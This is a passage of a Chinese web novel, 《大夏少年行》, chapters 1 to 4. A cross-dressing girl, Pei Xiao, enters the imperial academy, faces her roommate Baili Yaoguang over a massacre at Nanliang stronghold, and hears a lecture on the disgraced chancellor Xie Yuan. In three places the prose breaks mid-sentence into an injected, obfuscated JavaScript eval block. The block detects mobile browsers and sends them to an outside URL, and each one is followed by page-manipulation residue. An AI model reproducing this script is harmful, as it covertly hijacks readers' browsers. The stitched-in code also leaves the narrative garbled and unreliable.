《大夏少年行》
1. 第1章
仲春时节,暖风和煦,万物勃发。新一年国子学的学子入学正是在这时分。
碧蓝如洗的晴空之下,五位少年穿了统一制式的青衿学子服,站在国子学入泮大典的高台中央,一旁当世鸿儒、国子监祭酒陆充陆老先生,正在逐个介绍。他们是地方府学推荐进入国子学读书的寒门学子。
国子学是大夏朝的最高学府,供读子弟大多出自隆盛富贵之族、诗礼簪缨之家,像这五位少年这样的贡生,三年也就只有这么几个名额。而这几个少年,能够在各地州府芸芸生员中脱颖而出,必是资质非凡。
这五人中,最西边的两位少年,尤其吸引人瞩目。
其中一位身姿挺拔,朗朗而立,浓眉微挑如剑锋,杏眼黑亮似含星,端的是一派清俊风流,只是少年神情端肃、骨相清冷,难免让人生出些不敢靠近的感觉。
而她旁边的那位少年,细长眉眼含笑,唇角微弯,颊边一个酒窝隐现,人一眼望过去,如沐春风,与方才那位全然不同。
台下国子学学子分列成五个方阵,百里摇光站在二年生方阵中,看到那清冷少年,便定住了目光。
怎么像是那人?!
“裴逍”,百里摇光口中轻念着陆祭酒刚介绍的名字,剑眉微微蹙起。
夏慕卿站在他旁边,身子微倾靠了过来,带着几分笑意和漫不经心,低声悠悠开口道,“朗朗如日月之入怀,濯濯如春月柳,大约就是如此了。这两人,甚是悦目啊。”
百里摇光这才看向台上其他少年,点了点头。那两人的仪容确实当得起这夸奖。
“我听我家老头子说,去年百里大伯就让你回京了,你怎么今年才回来?”夏慕卿低声问道。
“嗨,快别说了,我去年回京路上,遇到一个小子,功夫极好,我和他斗了四五十回合都没分出胜负,最后还是因为他心绪杂乱露了破绽,我才胜了他。”
夏慕卿轻笑了一声,“所以,这一年,你是躲起来修炼去了?”
“没错,我去衡山找师父精进武艺了。”说着,百里摇光看向台上那清冷少年,“现在要制住他的话,应该用不了四十回合了。”
“你啊”,夏慕卿无奈摇了摇头,站直了身形。
在他二人所站队列的最后,歪斜地站着几个学子,当中一个俊俏的吊梢眼少年,眼珠子一转,嘀咕道,“又有乐子可以玩了”,随后扭头跟旁边几个少年低语一番。
入泮大典进行到下一节,裴逍随着队伍,按院中博士指引走下了高台,站到了学子队伍的最边上。
站定后,她抬头看向高台中央矗立的石碑。那石碑高逾五丈,宽有四丈,上面是朱墨行楷雕刻的院训:“为天地立心,为生民立命,为往圣继绝学,为万世开太平。”
说得多好啊,裴逍在心中感叹。
只可惜,她不是因为这样纯正高远的青云志向而来。
·
入泮大典及祭孔仪式举行完,已临近午时,学子们三三两两地向会馔堂行去。裴逍迈开脚步,旁边的祁青阳,跟了上来。
“裴逍,你见过你的舍友了吗?”
“没有”,裴逍淡淡回了一声,径自走着。
“昨日我搬进院子的时候,看到你斋舍外门牌写的另一个名字是百里摇光。你可知百里摇光是谁?”祁青阳笑看着裴逍,等着裴逍好奇追问。
不料裴逍看了他一眼,淡淡地说了声,“不知道”,便不再言语了。
祁青阳昨日已对裴逍的性子有所了解,因此也不介意她的冷落,只轻笑了下,还是接着道,“百里摇光是百里老将军的孙子。百里老将军,你应该知道吧?”
裴逍没有回应,只径自向前走着。
祁青阳轻摇了摇头,接着说,“百里老将军,就是百里坚,咱们大夏的战神。百里摇光一直跟着老将军在北境,今年才回京,人称’百里少将军’。”
“百里少将军?”裴逍突然顿住脚步。
祁青阳也跟着停下,笑着道,“看来你对少将军比较感兴趣。”
裴逍面无表情地看着祁青阳,没有回应他的调侃。
祁青阳无奈一笑,解释道,“对,就是百里少将军。他也是今日才入学,因为之前一直不在京中,所以都不太了解他为人怎么样。”
裴逍冷笑了下,继续迈开步。
祁青阳不解裴逍为何对百里摇光是这样的反应,但见裴逍似不欲多说,便也缄了口,只默默跟在旁边。
·
会馔堂是国子学中先生和学子们用膳的地方。此时,身穿青衿服刚参加完入泮大典的学子们都拥了来。
裴逍和祁青阳在人群中排队等了等,打好餐食后,找了空位置坐下。祁青阳见裴逍不喜多言,便也没再说什么,只静静用膳。
突然祁青阳发出“呀”的一声低呼。
裴逍抬头看去,见祁青阳低头看了眼衣衫,随后扭头向后看去。他身后一个学子走了几步,回身看了过来。
那学子八字眉、小眼睛,和她们差不多大,见裴逍和祁青阳看他,鼻子朝天冷哼了一声,扭头大摇大摆地走了。
看来是祁青阳方才被这人撞了臂肘,吃食掉到了衣衫上。
祁青阳转回头,见裴逍还没收回目光,弯起嘴角,显出一个浅浅的酒窝,宽慰道,“无碍,回去清洗下就好了。”
说完,他低头用筷子夹起落在衣衫上的一块肉,将那肉放入口中,见裴逍还看着他,便低声解释,“这人叫虞砚,是户部尚书嫡子,二年生中有名的纨绔。我们平时要小心,千万不要招惹他。”
裴逍盯着祁青阳看了半晌,方才点了点头。
·
斋舍区离会馔堂很近,穿过一片假山竹林,便到了学生斋舍。国子学斋舍按照院落设置,一个院子中有三间斋舍,每间斋舍住两名学子,每五个院子共用一间沐浴房。
裴逍和祁青阳穿过月洞门进入到自己斋舍所在院子,院中两间斋舍房门紧闭,一间房门敞开着。一棵梧桐树立于院子正中,上面枝杈枯黄,但已有些绿意。
“午后再会。”祁青阳笑着道。
裴逍轻点了下头,两人分别向隔院相对的两间斋舍走去。
行至阶前,裴逍听到后面祁青阳的声音响起。
“见过兄台,在下祁青阳。日后同斋舍,还请多关照。”
“哦,祁兄好,在下百里摇光,不是祁兄的舍友。”
裴逍停住脚步。
百里摇光?正是她斋舍门牌上的另一个名字,也是祁青阳所说的“百里少将军”。
裴逍转过身,向对面望去,这一看,便对上了一双正注视着她的桃花眼,那眼睛黑亮,似藏了星河在其中,眼上剑眉浓密齐整,些许面善,好像在哪里见过。
那少年站在对面斋舍房门正中,身形颀长挺拔,见裴逍看过来,轻挑剑眉开口道,“你是难凉寨里那个人吧?”
裴逍心中一惊,杏眸直直凝住对面少年。
是那个人!原来他就是所谓的“百里少将军”!
“两位认识?”祁青阳左右看看,疑惑问道。
两人都没回答他,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799989|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隔着庭院互相注视着。
半晌后,裴逍先收了目光,冷冷道了一声,“你认错人了”。说完,她便转回身,推门步入了斋舍。
两扇房门渐渐收拢,对面那少年仍愣怔地望着裴逍,神情错愕。裴逍没有理会,合上了房门。
门外传来祁青阳的声音,“百里兄,你是住对面斋舍吧?”
“啊?”百里摇光惊叫一声,“对啊!”
片刻后,斋舍房门被推开,百里摇光冲了进来。
“我也住这间。”百里摇光看向裴逍这侧,走上前拱手道,“裴兄,在下百里摇光,方才错认了人,有所唐突,还请不要见怪。”
裴逍坐在床边,脱下长靴,冷淡回了声,“裴逍,幸会。”说完,她便躺上床,扯了两边帐帘围上,连看都未看百里摇光一眼。
百里摇光还维持着拱手的姿势,一双桃花眼越睁越大,想起方才裴逍看向他的眼神冰冷,心道,“就算是认错人了,也不至于这么生气吧?”
他看着那青色帐幔愣了半晌,摇了摇头,回身走到对侧自己床席,靴子也未脱,径直躺了上去。两支胳膊枕在脑后,一双脚勾着,悬空搭在床沿悠悠晃动,他又想起了一年前的事。
·
当时,百里摇光刚听从父命,从北境回京师读书。
父亲派了十几骑兵士送他归京。途径雁城,雁城县县令突然到驿站迎接,并且请求百里摇光领兵帮其剿灭雁城外一座叫做“难凉寨”的匪寨。
自从百里摇光的祖父——忠国公百里坚驻守北境以来,北境少有大的战争,只是偶尔在天寒等时节,北狄会有一些部族来中原掳掠,百里摇光也曾跟着祖父、父亲参加过一些对狄族人的战役,在北境渐渐也有不少人知道了他这个百里少将军。
雁城县令知道他,请他帮忙剿匪并不奇怪。他便应了。但是,他素来习惯做好准备,知己知彼。所以他没急着领兵去攻,而是在城内城外,打听了解难凉寨的情况,还去城外山林里探查过几次。
探查的情况,让他感到吃惊。
雁城百姓对难凉寨的山匪,似乎并不认为是盗匪,反认为他们是义士,因为十几年前狄族人攻到雁城时,就是难凉寨的人在对抗狄族人,保护乡民。据说难凉寨的大当家就是当时城中的军士,因不满城守对狄族不抵抗的命令,愤而领了些愿意跟从他的兵士上山落草。而且难凉寨寨众从不劫掠百姓,所打击的都是些欺压乡民的贪官豪绅。
除了打听到的这些情况,百里摇光还去山林中探查,见那寨子中守卫森严,寨众训练时仍是北境军营中的练兵的方法,印证了他听到的那些传言,因此他认为不应直接清缴难凉寨,而能沟通招安是最好的。
百里摇光将自己探查的情况和想法都告知了那雁城县令。谁知那县令明面上认同了百里摇光的想法,暗中却派了人直接将难凉寨给剿灭了。
等他得知消息,赶去山上时,难凉寨上尸横遍野,不仅有青壮年的尸身,还有女子、孩童、老人。百里摇光气愤万分,可是人已经都殒命了,他只得让随他回京的兵士一起将山寨里的人埋葬了,一则让他们入土为安,二则这么多尸体堆积不管的话,也容易引发疫病。
那日天降大雨,他们穿着蓑衣,带着斗笠,正在挖坑埋葬山寨中死去的男女老幼。
百里摇光突然听到林中有隐隐的哭声。
他让兵士们继续清理,独自向着哭声传出的方向行去。
他行了百来步,上了一个缓坡,见有一个少年跪坐在几个土堆之中,头抵着一块木牌哭泣。
2. 第2章
那少年身量比他瘦小不少,头上、身上泥和雨水混合,看起来极为狼狈。
他哭声哀恸,仿佛幼兽失去了母亲。
百里摇光听得不忍,轻叹了口气。
那少年听见动静,止了哭泣回头,看见百里摇光,他眼中闪过凶光,当即从地上拾了根长枪,向百里摇光攻了过来。
百里摇光一边抽出剑格挡,一边忙道,“我无意伤你,你为何攻击我?”
少年不答,只跟百里摇光对打。他身手矫健,招式灵活,而且似乎带着极大的仇恨,不管不顾,拼命一般,百里摇光不得不专注应对。
两人打了十几回合,未分出胜负。兵士们听到声响,赶了过来要搭手,被百里摇光喝止住。
一直打到四五十回,那少年露了破绽,被百里摇光一剑挑开长枪,按摔在了地上。
雨水冲刷掉少年脸上的泥渍,一张眉目如画的脸显现在百里摇光面前,那脸还带着些孩童的稚气,但那眼神瞪着他,却像是在看仇人。
少年眼神凶狠,百里摇光按着那少年手臂的另一只手,不自觉地加了几分力道。
那少年蹙了眉,咬住了唇。
有伤?
百里摇光感觉到手下濡湿,抬眼看去,少年手臂上的泥被雨水冲掉,血红色渗透破损的衣衫显露出来。
兵士们围了上来,“少将军,要不要——”
百里摇光上下扫了那少年一眼,高声道,“你们退下,继续干手头的事。”
兵士们走远,百里摇光低头看着那少年说,“你走吧,这寨子里的人我替你葬了。”
那少年眨了下眼,似不相信地盯了他一会,冷冷开口,“这里的人,我必得亲手葬了。我总不能相信做此屠戮之事的人还有此等仁心。”
少年的讥讽直戳百里摇光的心,虽然这难凉寨今日的惨状,不是他亲手所为,但也难说完全没有关系。
这么多人殒命在场,其中还有老幼妇孺,他一时也不知该怎么与这少年解释,便没做辩解,松开了那少年。
那少年当即起身,不再理会他,自去挖坑埋尸了。
少年身形瘦弱,体量也小,还受了伤,但却甚是倔强坚毅,在这大雨中,硬是一个人又挖了个坑,将一具比他还长的尸体抱拖起来,轻轻地放到了坑里,然后开始推土填埋。
这个时候,百里摇光可以肯定那少年在哭,虽然没有再哭出声,但是那少年不住抖动的双肩还是暴露了。
葬好这具尸身,少年站起时不知是体力不济还是怎么回事,突然又摔坐在了地上。
百里摇光过去扶他,那少年推开百里摇光,自己踉跄着站了起来,又举起铁锹来挖坑了。
百里摇光也捡了个铁锹准备帮他,却被那少年呵斥阻止,“我说过了!这里的人我必得自己葬!你听不懂吗?”
百里摇光看他是铁了心要自己葬寨子中的人,便解了斗笠和蓑衣搭在那少年身上,冒雨离开了。
过了两日,他和属下再去山上看时,只见山林中多了上百个土坟,坟茔上都竖了木牌写了葬于其中之人的名姓,却没有再见到那个少年。
他也离了雁城,只是没有回京读书,而是到衡山找了师傅继续精进武艺。
想着想着,百里摇光睡了过去。
“咚——”悠扬古朴的国子学钟声响起,裴逍猛得惊醒。这钟声是提醒还有一刻,下午的课就要开讲了。
她坐起来,掀开帘幔,那百里摇光已不在斋舍中。
昨夜噩梦连连,她并没有休息好。往常喝了一次酒,再入睡便不会再做噩梦,但昨夜她却是三次入睡,三次惊醒。
裴逍捏了捏眉心,倒了杯茶喝了,拿起书袋,关上门向课室那边行去。
国子学课室明堂区布局在正中,斋舍区分置于两侧,明堂区再往里,便是圣人祠、典籍楼,整体呈一条中轴线分布。
裴逍一路行到课室区,找到挂着“二年生甲班”木牌的课室,迈步进去,只见里面有五排桌案,每排六张,两两并在一起。
此时,课室里还有一半的位置空着。裴逍第一次进来也不知该坐哪里,她正观察着,听到祁青阳的声音,“裴逍,你的位置在这”。
裴逍抬眼看去,见祁青阳坐在最后一排中间。他指的位置与他隔了一个过道,是第五排最里面,百里摇光已经坐在了那旁边的位子上。
裴逍对着祁青阳拱了拱手,向那位子走去。
百里摇光见裴逍走来,没有吭气,直接往里挪了一个位置。他刚往下坐,便听到“咔崩”一声响,似木材断裂。
“小心!”祁青阳轻呼。
百里摇光一手拍墙壁,双腿用力止住下落的趋势,倏地站了起来,大声喝道,“谁干的?”
课室里,学子们静了下来,有的不知是怎么回事好奇看过来,有的可能知道始作俑者躲开了目光,但就是没有人回应。
裴逍回转身,一眼看到旁边一个小眼睛学子猛地扭回了头,但他一脸幸灾乐祸,已尽收裴逍眼底。那学子便是午膳时故意撞了祁青阳的那个,叫做虞砚的。
不过裴逍所站的位置,刚好挡住了百里摇光的视线,因此,百里摇光并没看到那虞砚。
“幸好没事,百里兄,给你坐这个。”祁青阳从第五排边上空着的位子搬了一个凳子过来。他方才也被这样戏弄了,不过他不想惹事,便从空位子上搬了一个凳子来坐了。这是第二遭,已经驾轻就熟。
百里摇光接过那凳子,“多谢,叫我摇光,或者阿摇就行。”
裴逍一直站在旁边,见百里摇光坐了下来,抬脚将他让出的木凳,从凳板下顶了起来。
“这张凳子没有被动手脚,我方才坐过的。”百里摇光道。
裴逍方才坐下,想到这可能是那虞砚故意捉弄她的,却不巧被百里摇光坐了,她眼中闪过一丝寒芒。
随着她坐下,百里摇光闻到旁边有些淡淡的清凉香味传来,有些像茶香。
正式开课的钟声响起,一位五十岁上下的儒雅先生走了进来。那先生头发花白,但却颇有精神,脚步稳健,眼神炯炯。
一个少年喊道,“行礼”。
众学子纷纷起身,躬身行揖礼。
裴逍也跟着站起作揖。
“好,坐下吧。”那先生受礼后道,“我是经义课掌教傅仲春,诸位二年生首次开设此课,今后便由我来给诸位释经讲义。”
“听闻班中有新学子加入,不妨到前来介绍一番吧。”他上午参加入泮大典,得知有三个新生此次加入班级,那位风姿很出众的少年也分到了这个班次。
祁青阳起身,礼让裴逍、百里摇光先行。
三人在课室前方站定,百里摇光见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799990|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴逍和祁青阳没有先开口的意思,便当先道,“诸位同窗,在下百里摇光,长安人士,平生喜骑射武艺,望有幸与同道者切磋。”
学子中虽少有人见过百里摇光,但“百里摇光”的名字在京中却是几乎无人不知的,毕竟是将门百里世家的后嗣,忠国公百里坚老将军之孙,镇国将军百里铮之子。因此,他话音落,学子们或羡慕或钦佩的目光便齐齐投了过来。
祁青阳看了眼裴逍,见她还没要开口的意思,便微笑着介绍道,“各位同窗幸会,在下祁青阳,汴州人士,愿同窗几载互勉互助”。
他是今日才入学的地方州府选送的贡生,寒门出身,在京中没有根基,也无人识得,因此,学子们没多少反应,大多是有些好奇,还有个别鄙夷不屑的眼神扫过来,祁青阳始终保持着淡淡的笑,仿似没有看到。
裴逍瞧见了那几个眼神不善的少年,她心里冷嗤了一声,方才淡淡开口,“朔州裴逍”。
百里摇光听到“朔州”二字,眉头微微蹙了起来。
课室中静默半晌,众学子都看着裴逍,等下文。
谁知她竟再没了话。
学子们低低的讨论声渐渐响起,傅掌教摸了把胡须,徐徐道,“好,你们三人归座吧”。
百里摇光当先大迈步,从课室最边上靠墙壁的一侧回了座位。
裴逍跟在其后,走了过道归座。快到座位处时,突然斜刺里横了一条腿出来。
裴逍反应快,当即抬高腿迈了过去。
她走到桌案旁正要转身坐下,落后一步的祁青阳突然跌了过来,撞到了裴逍身上,裴逍身体向前倒去。
幸而裴逍惯常习武,反应敏捷,一腿迅速向前迈了一步,撑住未倒。旁边百里摇光眼疾手快起身握住裴逍上臂扶了一把。一股大力传来,裴逍很快站稳,她扫了百里摇光一眼,回身将祁青阳托起。
“对不住,对不住,我没站稳连累你了。”祁青阳连连道歉。
裴逍觑了一眼旁边坐在位子上坏笑的虞砚,方才伸腿绊人的便是他。裴逍迈了过去,祁青阳却没反应过来着了道。
“无妨。”裴逍没多言语,利落坐下。
她刚坐稳,耳边传来百里摇光压低的声音,“你这人是不会说谢的吗?”
裴逍目不斜视,只鼻子里轻嗤了一声。
百里摇光桃花眼又一次睁大,心中诧异自己从小到大都没这么不招人待见过,而且方才裴逍明明还跟祁青阳表示过谢意的。
傅掌教站在最前面,自然是没看到学子中的小动作,只道,“慢些走,不要急。”
三人都归座,傅掌教开始授课。
他并没立即讲解经义,而是向众学子提了一个问题,“国子学的院训,你们知道是何人所作吗?”
课室内安静下来,国子学那座高大石碑上刻的院训,人人都记得清楚,但这院训是谁所写,却大多不知。
傅掌教逡巡了半晌,才有一个端坐在前排的学子朗声回答,“是前太子太傅、国子监祭酒谢渊谢大人”。
傅掌教点了点头,“没错,就是谢渊谢大人,也是现在陆老先生的前一任国子监祭酒,在任职时,他便设立了此院训。”
“就是全族因通敌叛国被处死的那个人吗?”一个学子轻慢嘲讽的声音突然响起。
裴逍一双眉轻轻凝了起来。
3. 第3章
那出声的学子,坐在虞砚旁边的位子。他这一句后,学子之中渐渐响起议论声。
“国子监祭酒竟然通敌叛国?”
“不是他,是他的女婿凌风敖叛国,导致谢家全族被牵连。”
“那他也是罪臣啊,院训为何不改?”
“为什么要用他写的院训?”
......
“诸位,都静一静。”傅掌教摆摆手。
学子们渐渐安静下来,傅掌教接着道,“我知道大家现在有很多疑问,听我来讲一讲。”
“唐末中原陷入乱世纷争,在百年的朝代更迭、社会动荡之中,官学难以兴办。直到我朝先祖统一中原,社会稳定后,才开始重新兴办官学。而在这过程中,改革官学,让官学大兴的,正是谢渊谢太傅。他任国子监祭酒期间,竭力主张效仿盛唐,逐步建立起国子学、太学、四门学、书学、算学、律学的“中央六学体系”,和县学、州/府学的地方官学体系。”
不止如此,裴逍心中想到,父亲曾告诉她,“给寒门子弟入官学读书资格,让县学优秀者可升入府/州学,府/州学优秀者有机会升入中央‘六学’,也是谢太傅竭力奋斗多年才争取来的。”她今日能有机会以庶人男学子身份入国子学读书,也得益于当年谢太傅的努力。
傅掌教接着道,“他不是我朝第一位国子监祭酒,但却是做得最出色的,为书院发展作出诸多贡献,甚至可以说为大夏文化传承和人才培养,做出了巨大贡献。他所立院训四句,诠释了我等圣贤门生读书、修身、立命、治世之本心,是国子学办学要旨。虽然谢太傅身负罪名,但国子学办学要旨未变,历任国子监祭酒对于诸生读书之初心、志向的期望和规谏也未变。所以,院训四句仍保留了下来。”
“先生,”那先前出声讽刺的学子抱起双臂,又说道,“可我一想到这院训是出自一个罪臣之口,还是因为通敌叛国的罪名,不管他说的是什么,哪怕再好听,我也不想听。”
“对啊...”“就是...”学子中响起一片附和之声。
傅掌教轻笑了下,接着道,“举个例子,战国商君变法,后来落得罪臣之名,车裂而死,但是若因其名不佳,就断然认为其所言、所行皆不可取,否定所有变革之法的话,就没有后来一统天下的始皇帝了。”
那少年思索起来,没再质问。
又有学子出言道,“先生,可是商鞅是因为变法得罪了老氏族利益获罪,这是政治立场不同,而谢太傅却是因为家族通敌叛国,这不能相提并论吧?”
傅掌教看了看那学子,说道,“诚然,谢太傅和商君所获罪名不可同日而语,但我举此例,是想说明道理是一样的。圣人也可能犯错,是故圣人每日三省己身,愚者千虑,亦有一得。如果是可以借鉴学习之言,又何必计较出处呢。”
裴逍轻点了下头,傅掌教所言与父亲当年跟她解释的如出一辙。起初,她也因为从小在难凉寨中耳濡目染,对谢太傅之婿凌风敖通敌叛国行径充满憎恨,并连带着对谢太傅也有微词。直到父亲与她讲了这一番道理,她方才能够将凌风敖所为和谢太傅对大夏的贡献分开来看。
学子们没再提出疑问,似在思索掌教之言。
傅掌教也没说话,只笑看着众学子。
最前排座位上一个学子起身揖了一礼,问道“先生,那谢太傅的家族,真的通敌了吗?”
这桩陈年旧案,整个大夏恐怕无人不知。谢太傅的女婿凌风敖,十几年前任寰州刺史,与入侵的北狄之人串通,致使寰州被攻破,全城百姓丧生,他自己却跑去北狄做了大官。北境的百姓没有一个不对凌风敖恨之入骨的,裴逍从小便是听着寨中人对凌风敖的咒骂长大的。
只是谢太傅对于他女婿的事情是不是知情,是否有参与,那就无从得知了。
傅掌教看向那发问的少年。那少年站得笔直,端正俊秀,眼睛巴巴望着傅掌教,似乎很想知道真相。
想必是因为家中有长辈尊崇谢太傅,所以才好奇问的吧。傅掌教叹了口气,徐徐说道,“时过境迁,斯人已逝,当年之事,谁又说得清呢?”
他刚一说完,便感觉那少年眼睛暗了一些。身为先生的他,本能地不愿看到学生失望,忙道,“不过,我相信谢太傅是清白的。”
那学子眼中的神采果然又回来了,眼圈似乎都有些微泛红。
傅掌教接着道,“当年先帝下令处死谢氏一族,国子监六学千余弟子于宫门外请愿,希望先帝收回成命,最后还是谢太傅出面,将所有学子劝了回去。先太子也曾为谢太傅求情,很多人都相信谢太傅是无辜的。”
傅掌教说着,眼见那学子眸子越来越亮,想到还有后生如此在意谢太傅的身后名,他欣慰地摸了摸花白胡须。
“学生明白了。”那学子低头行礼坐了下来。
傅掌教对众学子扫视了一番,又接着道,“诸位都是京中少年英杰,早已在家中开过蒙,又在国子学读了一年书,不知道你们有没有想过,到底为了什么读书?”
学子们愈加安静,有的凝神思索,有的低头回避。
“诸位挨着说一说吧,不拘高下,但要真诚,此时怎么想便怎么说。”傅掌教说着,走到靠门口处第一排,便叫学子讲起来。
学子们按着座次一一讲了起来,有人说是为了辅政安民,有人说是为了读书明理。
轮到那几次偷偷使坏的虞砚,他站起来,左右看看,挠了挠头,说道,“家中父亲安排,不敢违抗。”
“噗嗤嗤——”学子中传出低低的笑声。
傅掌教也轻笑了一下,“你倒是诚实,好,坐下吧”。
虞砚同桌的少年站起来,是方才两次出言嘲讽谢太傅的那学子。他耸了耸肩,无所谓地说道,“我的伙伴们都来读了,我想与他们在一起,便跟父王求了允准,来这里了。”傅掌教点了点头。
父王?看来是哪位亲王的子嗣了,裴逍心里想道。
“读书是为了增加对整个天地人的认识。”那学子后面的少年站起来,声音格外清朗悦耳。
裴逍抬头看了一眼,那少年侧脸白皙,眉目清秀,嘴角噙着一抹淡淡的笑,似不屑又似嘲讽。
傅掌教听闻,多看了那少年两眼,摸了摸胡须,重重点了下头。
祁青阳坐在那少年旁边,站起道,“为不辜负兄长教诲。”
他说完,便轮到了裴逍。
裴逍起身只道了四个字,“为了做官。”
课室里随即响起一片嘲讽不屑声。
国子学学子多为朝中尊爵勋贵和四品以上大员子嗣,家族世有荫封,对这种堂而皇之地追逐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799991|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官位名利的学子,自然是看不起的。
傅掌教将学子们的反应尽收眼底,看着裴逍问道,“那你想做官,是为了什么?”
“为了家人。”
大夏朝国子学学子,肄业考试成绩优异者,有机会免除科举考试,直接授官。
这便是裴逍给自己选的路,她的家人都已不在,独自一人行走于这世间,只为做了官,好给九泉之下的家人一个公道。
虽然当年她在朔州路过学堂,听得郎朗书声,跟父亲说自己也想入学读书,父亲同意并安排她以男儿身份入县学读书,并认真教诲她,是为了她能读书明理,开阔心胸,做个俯仰无愧的磊落之人。虽然她自己也曾经,私下偷偷想象过科考中第,为官作宰,上辅君王,下安黎庶。
但是时至今日,她活着,却只为给家人昭雪报仇!
傅掌教轻叹了口气,摆摆手示意裴逍坐下。
下一个学子是百里摇光,他站起身,声音昂扬,“我读书是想以文辅武,好为大夏守疆保民!”
他身形很高,坐着还不太显,一站起来登时高耸如松。配上这豪气的志向,让人莫名地相信他就是可以做到,而不觉得是在妄言。
“很好。文成武功,可互为辅佐。”傅掌教赞道。
裴逍鼻子里轻嗤了声,心道,滥杀无辜、手段残忍,这是什么守疆保民的作为?
“学生读书之初心恰是院训四句——为天地立心、为生民立命、为往圣继绝学、为万世开太平。”一个少年清朗、蓬勃的声音引回了裴逍的注意力。
那是最后一个讲的学子,也是他方才问傅掌教谢太傅家族是否真的通敌。他身姿朗正,徐徐开口,声音不大,但是他说完,四座学子倏忽间静得可闻针落。
裴逍心中竟也有些许被触动。
这话,刻在书院的石碑上,印在书籍中,由先生们讲来,百年,千遍,都不如同龄人奉为圭臬,脱口而出来得震撼!
是真的会有人,不认为那是空话,并愿意为此践行!
“好!好!好!”傅掌教拿着卷书,在另一只手掌中拍了几下,连连叫好,“你叫什么名字?”
“学生林致远。”
“很好,很好,后生可畏。”傅掌教四下里看了看,捋着胡须,徐徐道,“有句话我想告诉大家,或许诸位现在还不能理解,但是倘若有朝一日能了悟,也算不枉此生。”
“每个人怎样过一生,最终是由自己决定的,不是家人,不是世俗礼教,更无关旁人。”
课室里一片寂静,傅掌教扫了眼四座眼神懵懂的少年们,笑了笑,接着道,“收归正题。”
“读书学习,立心非常重要,是为了功名而读,还是为了更崇高的目标而读,是为了提升能力而读,还是为了更多人的福祉而读,取决于个人选择,但是先生我呢,由衷地希望,以院训四句为志的学子,可以越来越多。”
傅掌教苍老雄浑的话音刚落,下课钟声便响了起来。
“今天的讲授就到这里。”
众学子起立行礼,傅掌教徐徐步出课室。
裴逍低头整理纸笔,余光见有几个少年聚在一处,似朝着她的方向靠近过来。裴逍抬头看去,一眼看到其中的虞砚,正欲看其他人时,一个端正俊朗的少年突然站到眼前,挡住了她的视线。
4. 第4章
那少年虽然长得俊秀,但是脸色偏白,嘴唇也不太有血色,看起来似乎身子不大好,但一双眼炯炯有神。
他笑着道,“裴逍、祁青阳、百里摇光,我是斋长林致远,来给你们讲一讲国子学自休时间有哪些活动。”
“好。”祁青阳笑着回道。
裴逍默不作声,只点了点头。
百里摇光已经起身,“多谢,不过我已经知道了,你给他们两个讲吧。”
林致远便坐到了裴逍前面学子的座位上。裴逍这时注意了下,虞砚那几个少年已经不在了。她心里猜想,林致远不知是凑巧过来,还是有意来帮忙的。
林致远介绍道,“自休时间看个人意愿,可以自己温书,也可以参加联社活动。温书的话,在课室、斋舍或者典籍楼中都可以。”
“联社活动目前有棋社、诗社、书画社、蹴鞠社、武术社等等,前面几个联社人数比较多。联社活动看个人意愿任选,有相应的博士和助教指导,书院里有时会组织比赛,如参加比赛有好的表现可加德行分数。”
“你们想做什么?我带你们到相应的活动场地去。”
“棋社。”裴逍道。
祁青阳垂眸想了下,问道,“斋长,请问国子学里是否有力役?就是在书院中做些杂务来冲抵费用或赚取津贴?实不相瞒,在下家境有些颠沛,虽然国子学生的束脩已由朝廷财政支持,不需自负,但毕竟还有生活费用,在下需要自己绸缪。”
林致远思索了片刻,温和道,“这个我不太了解,不过,我可以带你去见陆祭酒,到时,你可以亲自问下。”
“那就多谢斋长了。”祁青阳站起揖了一礼。
林致远忙还礼道,“举手之劳,不必客气。”
“我们一同去,我先引裴逍到棋室,再同你一起去找陆祭酒。”
三人出了课室区域,经过校场。
裴逍向里看去,见有个高长少年骑在马上,身姿挺拔朗俊。那少年拉满弓,飞出一箭,正中靶心。
“好箭法!”裴逍心中暗叹。
这时,那少年拨转马头旋过身来,裴逍认出那人,扫了一眼便回过头不再看了。
“百里摇光箭法好准啊,不愧是大夏战神的孙子。”祁青阳赞道。
林致远也放慢了步子,徐徐道,“这箭技,真是让人羡慕。”
·
裴逍进入棋室,看到里面的学子似乎都已经分好了组,两两对弈,只有一个少年头戴银簪,低头看着棋坪,独自坐着,是坐在祁青阳旁边的那学子。他手中收着一把折扇,搭在另一只手上一下一下轻轻敲击。
那学子边上,有一张空的桌案,裴逍坐了过去,一人手执黑白两子,摆了一个棋谱上的残局。
她对着棋局,低头冥思,并不落一子,连有人坐到了对面,都没注意到。
直到一个声音打破寂静,“我看了你们许久,两个人都不落子,这下得什么棋啊?”
裴逍循声看见百里摇光站在一边,这才注意到对面还坐了一人,正是之前独自下棋的那学子。
